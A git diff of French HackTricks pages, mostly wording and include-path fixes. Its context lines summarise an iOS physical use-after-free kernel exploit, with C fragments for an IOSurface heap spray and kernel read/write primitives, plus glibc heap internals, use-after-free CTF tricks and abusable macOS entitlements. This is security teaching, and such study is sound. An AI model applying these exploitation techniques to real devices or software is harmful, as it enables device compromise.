{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Utilisation physique après libération
|
||||
|
||||
@ -10,28 +10,28 @@ Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.ht
|
||||
|
||||
L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles.
|
||||
|
||||
#### Niveaux des tables de pages dans iOS
|
||||
#### Niveaux des Tables de Pages dans iOS
|
||||
|
||||
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
|
||||
|
||||
1. **Table de pages L1 (Niveau 1)** :
|
||||
1. **Table de Pages L1 (Niveau 1)** :
|
||||
* Chaque entrée ici représente une large plage de mémoire virtuelle.
|
||||
* Elle couvre **0x1000000000 bytes** (ou **256 Go**) de mémoire virtuelle.
|
||||
2. **Table de pages L2 (Niveau 2)** :
|
||||
2. **Table de Pages L2 (Niveau 2)** :
|
||||
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 bytes** (32 Mo).
|
||||
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
|
||||
3. **Table de pages L3 (Niveau 3)** :
|
||||
* C'est le niveau le plus fin, où chaque entrée mappe une seule **page mémoire de 4 Ko**.
|
||||
3. **Table de Pages L3 (Niveau 3)** :
|
||||
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**.
|
||||
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
|
||||
|
||||
#### Mapping de la mémoire virtuelle à la mémoire physique
|
||||
#### Mapping de la Mémoire Virtuelle à Physique
|
||||
|
||||
* **Mapping direct (Mapping par bloc)** :
|
||||
* **Mapping Direct (Mapping par Bloc)** :
|
||||
* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci).
|
||||
* **Pointeur vers la table de pages enfant** :
|
||||
* **Pointeur vers la Table de Pages Enfant** :
|
||||
* Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2).
|
||||
|
||||
#### Exemple : Mapping d'une adresse virtuelle
|
||||
#### Exemple : Mapping d'une Adresse Virtuelle
|
||||
|
||||
Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
||||
|
||||
@ -42,7 +42,7 @@ Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
||||
3. **Table L3** :
|
||||
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
|
||||
|
||||
#### Exemple de mapping d'adresse
|
||||
#### Exemple de Mapping d'Adresse
|
||||
|
||||
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
|
||||
|
||||
@ -57,7 +57,7 @@ Alternativement, si l'entrée L2 pointe vers une table L3 :
|
||||
|
||||
Une **utilisation physique après libération** (UAF) se produit lorsque :
|
||||
|
||||
1. Un processus **alloue** de la mémoire comme **lisible et inscriptible**.
|
||||
1. Un processus **alloue** de la mémoire comme **lisible et écrivable**.
|
||||
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
|
||||
3. Le processus **désalloue** (libère) la mémoire.
|
||||
4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
|
||||
@ -66,7 +66,7 @@ Une **utilisation physique après libération** (UAF) se produit lorsque :
|
||||
|
||||
Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
|
||||
|
||||
### Stratégie d'exploitation : Spray de tas
|
||||
### Stratégie d'Exploitation : Spray de Tas
|
||||
|
||||
Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** :
|
||||
|
||||
@ -77,15 +77,15 @@ Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau s
|
||||
|
||||
Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Processus de spray de tas étape par étape
|
||||
### Processus de Spray de Tas Étape par Étape
|
||||
|
||||
1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
|
||||
2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
|
||||
3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
|
||||
1. **Spray d'Objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
|
||||
2. **Scanner les Pages Libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
|
||||
3. **Lire/Écrire dans la Mémoire du Noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
|
||||
* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau.
|
||||
* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**.
|
||||
|
||||
Générer des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC à rechercher plus tard :
|
||||
Générer des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC pour rechercher plus tard :
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -142,18 +142,18 @@ return 0;
|
||||
```
|
||||
### Réaliser des opérations de lecture/écriture du noyau avec IOSurface
|
||||
|
||||
Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**.
|
||||
Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires dans le noyau**.
|
||||
|
||||
**Champs clés dans IOSurface**
|
||||
|
||||
L'objet IOSurface a deux champs cruciaux :
|
||||
|
||||
1. **Pointeur de compteur d'utilisation** : Permet une **lecture de 32 bits**.
|
||||
2. **Pointeur d'horodatage indexé** : Permet une **écriture de 64 bits**.
|
||||
1. **Pointeur de compteur d'utilisation** : Permet une **lecture 32 bits**.
|
||||
2. **Pointeur d'horodatage indexé** : Permet une **écriture 64 bits**.
|
||||
|
||||
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.
|
||||
|
||||
#### Lecture du noyau de 32 bits
|
||||
#### Lecture du noyau 32 bits
|
||||
|
||||
Pour effectuer une lecture :
|
||||
|
||||
@ -197,11 +197,12 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
```
|
||||
#### Récapitulatif du Flux d'Exploitation
|
||||
|
||||
1. **Déclencher un Utilisation-Après-Libération Physique** : Des pages libérées sont disponibles pour réutilisation.
|
||||
1. **Déclencher un Utilisation-Après-Libre Physique** : Des pages libérées sont disponibles pour réutilisation.
|
||||
2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
|
||||
3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez.
|
||||
4. **Abuser de l'Utilisation-Après-Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** **arbitraire du noyau** via les méthodes IOSurface.
|
||||
4. **Abuser de l'Utilisation-Après-Libre** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** **kernel** arbitraire via les méthodes IOSurface.
|
||||
|
||||
Avec ces primitives, l'exploitation fournit des **lectures de 32 bits** et des **écritures de 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).
|
||||
Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Libc Heap
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
|
||||
@ -12,7 +12,7 @@ Comme il est montré, c'est juste après que le binaire est chargé en mémoire
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Lorsque des données sont demandées pour être stockées dans le tas, un certain espace du tas est alloué pour cela. Cet espace appartiendra à un bin et seules les données demandées + l'espace des en-têtes de bin + l'offset de taille minimale du bin seront réservés pour le chunk. L'objectif est de réserver le minimum de mémoire possible sans compliquer la recherche de chaque chunk. Pour cela, les informations de métadonnées du chunk sont utilisées pour savoir où se trouve chaque chunk utilisé/libre.
|
||||
Lorsque des données sont demandées pour être stockées dans le tas, un certain espace du tas est alloué pour cela. Cet espace appartiendra à un bin et seules les données demandées + l'espace des en-têtes de bin + le décalage de taille minimale du bin seront réservés pour le chunk. L'objectif est de réserver le minimum de mémoire possible sans compliquer la recherche de chaque chunk. Pour cela, les informations de métadonnées du chunk sont utilisées pour savoir où se trouve chaque chunk utilisé/libre.
|
||||
|
||||
Il existe différentes manières de réserver l'espace, principalement en fonction du bin utilisé, mais une méthodologie générale est la suivante :
|
||||
|
||||
@ -31,7 +31,7 @@ Dans les applications **multithreadées**, le gestionnaire de tas doit prévenir
|
||||
|
||||
Pour y remédier, l'allocateur de tas ptmalloc2 a introduit des "arènes", où **chaque arène** agit comme un **tas séparé** avec ses **propres** structures de **données** et **mutex**, permettant à plusieurs threads d'effectuer des opérations sur le tas sans interférer les uns avec les autres, tant qu'ils utilisent des arènes différentes.
|
||||
|
||||
L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il tente d'abord d'attacher chaque nouveau thread à une arène inutilisée, en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager des arènes**, ce qui peut entraîner une contention potentielle.
|
||||
L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il tente d'abord d'attacher chaque nouveau thread à une arène inutilisée, en en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager des arènes**, ce qui peut entraîner une contention potentielle.
|
||||
|
||||
Contrairement à l'arène principale, qui s'agrandit en utilisant l'appel système `brk`, les arènes secondaires créent des "sous-tas" en utilisant `mmap` et `mprotect` pour simuler le comportement du tas, permettant une flexibilité dans la gestion de la mémoire pour les opérations multithreadées.
|
||||
|
||||
@ -43,16 +43,16 @@ Les sous-tas servent de réserves de mémoire pour les arènes secondaires dans
|
||||
- Le tas initial est situé directement après le binaire du programme en mémoire, et il s'agrandit en utilisant l'appel système `sbrk`.
|
||||
- Les sous-tas, utilisés par les arènes secondaires, sont créés par `mmap`, un appel système qui mappe une région de mémoire spécifiée.
|
||||
2. **Réservation de mémoire avec `mmap`** :
|
||||
- Lorsque le gestionnaire de tas crée un sous-tas, il réserve un grand bloc de mémoire via `mmap`. Cette réservation n'alloue pas immédiatement de mémoire ; elle désigne simplement une région que d'autres processus système ou allocations ne devraient pas utiliser.
|
||||
- Lorsque le gestionnaire de tas crée un sous-tas, il réserve un grand bloc de mémoire via `mmap`. Cette réservation n'alloue pas immédiatement de mémoire ; elle désigne simplement une région que d'autres processus ou allocations système ne devraient pas utiliser.
|
||||
- Par défaut, la taille réservée pour un sous-tas est de 1 Mo pour les processus 32 bits et de 64 Mo pour les processus 64 bits.
|
||||
3. **Expansion progressive avec `mprotect`** :
|
||||
- La région de mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour le moment.
|
||||
- Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche progressive permet au sous-tas de s'étendre au besoin.
|
||||
- Une fois que tout le sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
|
||||
- Une fois que l'ensemble du sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Cette structure alloue des informations pertinentes sur le tas. De plus, la mémoire du tas peut ne pas être continue après plusieurs allocations, cette structure stockera également cette information.
|
||||
Cette struct alloue des informations pertinentes sur le tas. De plus, la mémoire du tas peut ne pas être continue après plusieurs allocations, cette struct stockera également cette information.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
@ -176,14 +176,14 @@ De plus, lorsque disponible, les données utilisateur sont également utilisées
|
||||
- **`fd`** : Pointeur vers le morceau suivant
|
||||
- **`bk`** : Pointeur vers le morceau précédent
|
||||
- **`fd_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus petit que lui-même
|
||||
- **`bk_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus grand que lui-même
|
||||
- **`bk_nextsize` :** Pointeur vers le premier morceau dans la liste qui est plus grand que lui-même
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Notez comment lier la liste de cette manière évite la nécessité d'avoir un tableau où chaque morceau est enregistré.
|
||||
> Notez comment lier la liste de cette manière évite d'avoir un tableau où chaque morceau est enregistré.
|
||||
|
||||
### Pointeurs de Morceau
|
||||
### Pointeurs de morceaux
|
||||
|
||||
Lorsque malloc est utilisé, un pointeur vers le contenu qui peut être écrit est retourné (juste après les en-têtes), cependant, lors de la gestion des morceaux, un pointeur vers le début des en-têtes (métadonnées) est nécessaire.\
|
||||
Pour ces conversions, ces fonctions sont utilisées :
|
||||
@ -206,7 +206,7 @@ Pour ces conversions, ces fonctions sont utilisées :
|
||||
```
|
||||
### Alignement & taille minimale
|
||||
|
||||
Le pointeur vers le chunk et `0x0f` doivent être 0.
|
||||
Le pointeur vers le morceau et `0x0f` doivent être 0.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
@ -485,7 +485,7 @@ et à l'intérieur, on peut trouver quelques chunks :
|
||||
|
||||
## Bins & Allocations/Désallocations de Mémoire
|
||||
|
||||
Vérifiez ce que sont les bins et comment ils sont organisés et comment la mémoire est allouée et désallouée dans :
|
||||
Vérifiez quels sont les bins et comment ils sont organisés et comment la mémoire est allouée et désallouée dans :
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,7 +15,7 @@ Exemple :
|
||||
- Vous allouez 300 octets (`a`), puis 250 octets (`b`), libérez `a` et demandez à nouveau 250 octets (`c`).
|
||||
- Lorsque vous libérez `a`, il va dans le bin non trié.
|
||||
- Si vous demandez à nouveau 250 octets, l'allocateur trouve `a` à la queue et le divise, retournant la partie qui correspond à votre demande et gardant le reste dans le bin.
|
||||
- `c` pointera vers l'ancien `a` et sera rempli avec les `a`.
|
||||
- `c` pointera vers l'ancien `a` et sera rempli avec les `a's`.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
char *b = malloc(250);
|
||||
@ -24,13 +24,13 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Les fastbins sont utilisés pour de petits morceaux de mémoire. Contrairement aux unsorted bins, les fastbins ajoutent de nouveaux morceaux à la tête, créant un comportement de dernier entré, premier sorti (LIFO). Si vous demandez un petit morceau de mémoire, l'allocateur prendra à partir de la tête du fastbin.
|
||||
Les fastbins sont utilisés pour de petits morceaux de mémoire. Contrairement aux unsorted bins, les fastbins ajoutent de nouveaux morceaux au début, créant un comportement de dernier entré, premier sorti (LIFO). Si vous demandez un petit morceau de mémoire, l'allocateur prendra à partir du début du fastbin.
|
||||
|
||||
Exemple :
|
||||
|
||||
- Vous allouez quatre morceaux de 20 octets chacun (`a`, `b`, `c`, `d`).
|
||||
- Lorsque vous les libérez dans n'importe quel ordre, les morceaux libérés sont ajoutés à la tête du fastbin.
|
||||
- Si vous demandez ensuite un morceau de 20 octets, l'allocateur renverra le morceau le plus récemment libéré de la tête du fastbin.
|
||||
- Lorsque vous les libérez dans n'importe quel ordre, les morceaux libérés sont ajoutés au début du fastbin.
|
||||
- Si vous demandez ensuite un morceau de 20 octets, l'allocateur renverra le morceau le plus récemment libéré du début du fastbin.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -55,11 +55,11 @@ d = malloc(20); // a
|
||||
- L'attaque consisterait à créer 2 notes (note0 et note1) avec des contenus malloc plus grands que la taille des informations de la note, puis à les libérer pour qu'elles entrent dans le fast bin (ou tcache).
|
||||
- Ensuite, créer une autre note (note2) avec une taille de contenu de 8. Le contenu va se trouver dans note1 car le morceau va être réutilisé, où nous pourrions modifier le pointeur de fonction pour pointer vers la fonction win et ensuite utiliser après libération note1 pour appeler le nouveau pointeur de fonction.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Il est possible d'allouer de la mémoire, d'écrire la valeur souhaitée, de la libérer, de la réallouer et comme les données précédentes sont toujours là, elles seront traitées selon la nouvelle structure attendue dans le morceau, rendant possible de définir la valeur pour obtenir le drapeau.
|
||||
- Il est possible d'allouer de la mémoire, d'écrire la valeur souhaitée, de la libérer, de la réallouer et comme les données précédentes sont toujours là, elles seront traitées selon la nouvelle structure attendue dans le morceau, rendant possible de définir la valeur ou d'obtenir le drapeau.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- Dans ce cas, il est nécessaire d'écrire 4 à l'intérieur d'un morceau spécifique qui est le premier alloué (même après avoir forcé la libération de tous). Pour chaque nouveau morceau alloué, son numéro dans l'index du tableau est stocké. Ensuite, allouer 4 morceaux (+ le morceau initialement alloué), le dernier contiendra 4 à l'intérieur, les libérer et forcer la réallocation du premier, qui utilisera le dernier morceau libéré, qui est celui avec 4 à l'intérieur.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -51,11 +51,11 @@ Cette approche évite les téléchargements de fichiers directs et utilise des
|
||||
- Utilisez des liens d'invitation permanents contenant au moins une lettre majuscule ou un caractère non alphanumérique (jamais expirés, non réutilisables).
|
||||
- Faites régulièrement tourner les codes d'invitation et révoquez les anciens liens.
|
||||
- Surveillez l'état de boost du serveur Discord et les revendications d'URL personnalisées.
|
||||
- Éduquez les utilisateurs à vérifier l'authenticité du serveur et à éviter d'exécuter des commandes collées depuis le presse-papiers.
|
||||
- Éduquez les utilisateurs à vérifier l'authenticité du serveur et à éviter d'exécuter des commandes copiées dans le presse-papiers.
|
||||
|
||||
## Références
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Modélisation des Menaces
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Modélisation des Menaces
|
||||
|
||||
@ -15,7 +15,7 @@ Bienvenue dans le guide complet de HackTricks sur la Modélisation des Menaces !
|
||||
|
||||
Un Modèle de Menace est généralement représenté sous la forme d'un diagramme, d'une image ou d'une autre forme d'illustration visuelle qui décrit l'architecture prévue ou la construction existante d'une application. Il ressemble à un **diagramme de flux de données**, mais la distinction clé réside dans son design orienté sécurité.
|
||||
|
||||
Les modèles de menaces présentent souvent des éléments marqués en rouge, symbolisant des vulnérabilités, des risques ou des barrières potentielles. Pour rationaliser le processus d'identification des risques, le triade CIA (Confidentialité, Intégrité, Disponibilité) est employée, formant la base de nombreuses méthodologies de modélisation des menaces, avec STRIDE étant l'une des plus courantes. Cependant, la méthodologie choisie peut varier en fonction du contexte et des exigences spécifiques.
|
||||
Les modèles de menaces présentent souvent des éléments marqués en rouge, symbolisant des vulnérabilités, des risques ou des barrières potentielles. Pour rationaliser le processus d'identification des risques, le triade CIA (Confidentialité, Intégrité, Disponibilité) est utilisée, formant la base de nombreuses méthodologies de modélisation des menaces, STRIDE étant l'une des plus courantes. Cependant, la méthodologie choisie peut varier en fonction du contexte et des exigences spécifiques.
|
||||
|
||||
### La Triade CIA
|
||||
|
||||
@ -23,7 +23,7 @@ La Triade CIA est un modèle largement reconnu dans le domaine de la sécurité
|
||||
|
||||
1. **Confidentialité** : Assurer que les données ou le système ne sont pas accessibles par des individus non autorisés. C'est un aspect central de la sécurité, nécessitant des contrôles d'accès appropriés, le chiffrement et d'autres mesures pour prévenir les violations de données.
|
||||
2. **Intégrité** : L'exactitude, la cohérence et la fiabilité des données tout au long de leur cycle de vie. Ce principe garantit que les données ne sont pas modifiées ou altérées par des parties non autorisées. Il implique souvent des sommes de contrôle, du hachage et d'autres méthodes de vérification des données.
|
||||
3. **Disponibilité** : Cela garantit que les données et les services sont accessibles aux utilisateurs autorisés lorsque nécessaire. Cela implique souvent de la redondance, de la tolérance aux pannes et des configurations de haute disponibilité pour maintenir les systèmes opérationnels même en cas de perturbations.
|
||||
3. **Disponibilité** : Cela garantit que les données et les services sont accessibles aux utilisateurs autorisés lorsque cela est nécessaire. Cela implique souvent de la redondance, de la tolérance aux pannes et des configurations de haute disponibilité pour maintenir les systèmes en fonctionnement même en cas de perturbations.
|
||||
|
||||
### Méthodologies de Modélisation des Menaces
|
||||
|
||||
@ -31,7 +31,7 @@ La Triade CIA est un modèle largement reconnu dans le domaine de la sécurité
|
||||
2. **DREAD** : C'est une autre méthodologie de Microsoft utilisée pour l'évaluation des risques des menaces identifiées. DREAD signifie **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Chacun de ces facteurs est noté, et le résultat est utilisé pour prioriser les menaces identifiées.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis) : C'est une méthodologie en sept étapes, **centrée sur le risque**. Elle inclut la définition et l'identification des objectifs de sécurité, la création d'un périmètre technique, la décomposition de l'application, l'analyse des menaces, l'analyse des vulnérabilités et l'évaluation des risques/triage.
|
||||
4. **Trike** : C'est une méthodologie basée sur le risque qui se concentre sur la défense des actifs. Elle part d'une perspective de **gestion des risques** et examine les menaces et les vulnérabilités dans ce contexte.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling) : Cette approche vise à être plus accessible et s'intègre dans les environnements de développement Agile. Elle combine des éléments des autres méthodologies et se concentre sur **les représentations visuelles des menaces**.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling) : Cette approche vise à être plus accessible et s'intègre dans des environnements de développement Agile. Elle combine des éléments des autres méthodologies et se concentre sur **les représentations visuelles des menaces**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation) : Développé par le CERT Coordination Center, ce cadre est orienté vers **l'évaluation des risques organisationnels plutôt que des systèmes ou logiciels spécifiques**.
|
||||
|
||||
## Outils
|
||||
@ -40,7 +40,7 @@ Il existe plusieurs outils et solutions logicielles disponibles qui peuvent **ai
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Un outil GUI de web spider/crawler multi-fonction et multiplateforme avancé pour les professionnels de la cybersécurité. Spider Suite peut être utilisé pour la cartographie et l'analyse de la surface d'attaque.
|
||||
Un outil GUI web spider/crawler multi-fonction et multiplateforme avancé pour les professionnels de la cybersécurité. Spider Suite peut être utilisé pour la cartographie et l'analyse de la surface d'attaque.
|
||||
|
||||
**Utilisation**
|
||||
|
||||
@ -113,4 +113,4 @@ Maintenant, votre modèle terminé devrait ressembler à quelque chose comme cec
|
||||
C'est un outil gratuit de Microsoft qui aide à trouver des menaces dans la phase de conception des projets logiciels. Il utilise la méthodologie STRIDE et est particulièrement adapté à ceux qui développent sur la pile de Microsoft.
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
> [!WARNING]
|
||||
> Notez que les droits commençant par **`com.apple`** ne sont pas disponibles pour les tiers, seul Apple peut les accorder.
|
||||
|
||||
## Élevé
|
||||
## High
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
@ -29,7 +29,7 @@ Les applications avec le droit d'outil de débogage peuvent appeler `task_for_pi
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Ce droit permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou signés avec le même ID d'équipe** que l'exécutable principal, donc un attaquant pourrait abuser de n'importe quelle bibliothèque chargée pour injecter du code. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Ce droit permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être soit signé par Apple, soit signé avec le même ID d'équipe** que l'exécutable principal, donc un attaquant pourrait abuser de n'importe quelle bibliothèque arbitraire pour injecter du code. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
@ -58,7 +58,7 @@ Le droit **`com.apple.private.icloud-account-access`** permet de communiquer ave
|
||||
|
||||
**iMovie** et **Garageband** avaient ce droit.
|
||||
|
||||
Pour plus **d'informations** sur l'exploit pour **obtenir des tokens icloud** à partir de ce droit, consultez la conférence : [**#OBTS v5.0 : "Que se passe-t-il sur votre Mac, reste sur l'iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Pour plus **d'informations** sur l'exploitation pour **obtenir des tokens icloud** de ce droit, consultez la conférence : [**#OBTS v5.0 : "Ce qui se passe sur votre Mac, reste sur iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -105,19 +105,19 @@ Permet, entre autres permissions, de **modifier la base de données TCC des util
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
Permet de **changer** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui modifie le chemin de son dossier personnel et permet donc de **contourner TCC**.
|
||||
Permet de **changer** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui change le chemin de son dossier personnel et permet donc de **contourner TCC**.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Permet de modifier des fichiers à l'intérieur des bundles d'applications (dans app.app), ce qui est **interdit par défaut**.
|
||||
